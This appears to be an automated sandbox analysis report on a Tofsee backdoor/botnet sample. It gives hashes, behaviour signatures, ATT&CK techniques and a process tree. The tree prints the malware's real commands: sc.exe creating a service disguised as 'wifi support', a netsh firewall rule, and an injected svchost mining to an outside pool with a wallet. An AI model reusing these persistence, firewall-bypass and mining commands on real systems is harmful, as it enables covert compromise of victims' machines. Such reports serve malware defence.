Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-11-2020 22:58

General

  • Target

    a68fdcf20edd58c06346f6e88d7999a201d5e2592aa955e40645f363b253e150.exe

  • Size

    11.9MB

  • MD5

    8b67b5494864cc71ece704b8bb3fb2e8

  • SHA1

    3141e6c8be3b3b2891fb6cc5acd87b8dbddd0e7f

  • SHA256

    a68fdcf20edd58c06346f6e88d7999a201d5e2592aa955e40645f363b253e150

  • SHA512

    4f7bfc5d1d6fa5f2403a9958e169c45d1c140bc955b3568e0df9bc6a436afbd49184ee6f64c98cd3107712fcd406ce6ddf84b3112c3203dbf3c883a72071f484

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a68fdcf20edd58c06346f6e88d7999a201d5e2592aa955e40645f363b253e150.exe
    "C:\Users\Admin\AppData\Local\Temp\a68fdcf20edd58c06346f6e88d7999a201d5e2592aa955e40645f363b253e150.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ehjfxvdz\
      2⤵
        PID:3544
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\afssvukp.exe" C:\Windows\SysWOW64\ehjfxvdz\
        2⤵
          PID:4268
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ehjfxvdz binPath= "C:\Windows\SysWOW64\ehjfxvdz\afssvukp.exe /d\"C:\Users\Admin\AppData\Local\Temp\a68fdcf20edd58c06346f6e88d7999a201d5e2592aa955e40645f363b253e150.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3264
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ehjfxvdz "wifi internet conection"
            2⤵
              PID:4192
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ehjfxvdz
              2⤵
                PID:416
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:8
              • C:\Windows\SysWOW64\ehjfxvdz\afssvukp.exe
                C:\Windows\SysWOW64\ehjfxvdz\afssvukp.exe /d"C:\Users\Admin\AppData\Local\Temp\a68fdcf20edd58c06346f6e88d7999a201d5e2592aa955e40645f363b253e150.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:808
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:908
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4088

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              2
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              3
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\afssvukp.exe
                MD5

                1b5b60a779c5ff06442bde2d5ebbf034

                SHA1

                c55ac4732a71de3486dd9f21ccfd33ac73802f31

                SHA256

                ccd7c169427c4fac77983b273651a3827abbf18d968aac5271ea29534593f023

                SHA512

                dfbf3e3f78a9a2a3daf0bdb5d9539b347ba15e7497fa5acac4612bc945bf0d94913737cc629cf1f567bf3c37dc8512bb3f96f4512f82092ce809f14b218c5ddd

              • C:\Windows\SysWOW64\ehjfxvdz\afssvukp.exe
                MD5

                1b5b60a779c5ff06442bde2d5ebbf034

                SHA1

                c55ac4732a71de3486dd9f21ccfd33ac73802f31

                SHA256

                ccd7c169427c4fac77983b273651a3827abbf18d968aac5271ea29534593f023

                SHA512

                dfbf3e3f78a9a2a3daf0bdb5d9539b347ba15e7497fa5acac4612bc945bf0d94913737cc629cf1f567bf3c37dc8512bb3f96f4512f82092ce809f14b218c5ddd

              • memory/8-10-0x0000000000000000-mapping.dmp
              • memory/416-5-0x0000000000000000-mapping.dmp
              • memory/908-13-0x0000000003230000-0x0000000003240000-memory.dmp
                Filesize

                64KB

              • memory/908-12-0x0000000003220000-0x0000000003226000-memory.dmp
                Filesize

                24KB

              • memory/908-16-0x00000000032E0000-0x00000000032E7000-memory.dmp
                Filesize

                28KB

              • memory/908-7-0x0000000003200000-0x0000000003215000-memory.dmp
                Filesize

                84KB

              • memory/908-8-0x0000000003209A6B-mapping.dmp
              • memory/908-15-0x0000000009790000-0x0000000009B9B000-memory.dmp
                Filesize

                4.0MB

              • memory/908-11-0x0000000005140000-0x000000000534F000-memory.dmp
                Filesize

                2.1MB

              • memory/908-14-0x0000000003240000-0x0000000003245000-memory.dmp
                Filesize

                20KB

              • memory/3264-3-0x0000000000000000-mapping.dmp
              • memory/3544-0-0x0000000000000000-mapping.dmp
              • memory/4088-17-0x0000000002840000-0x0000000002931000-memory.dmp
                Filesize

                964KB

              • memory/4088-19-0x00000000028D259C-mapping.dmp
              • memory/4192-4-0x0000000000000000-mapping.dmp
              • memory/4268-1-0x0000000000000000-mapping.dmp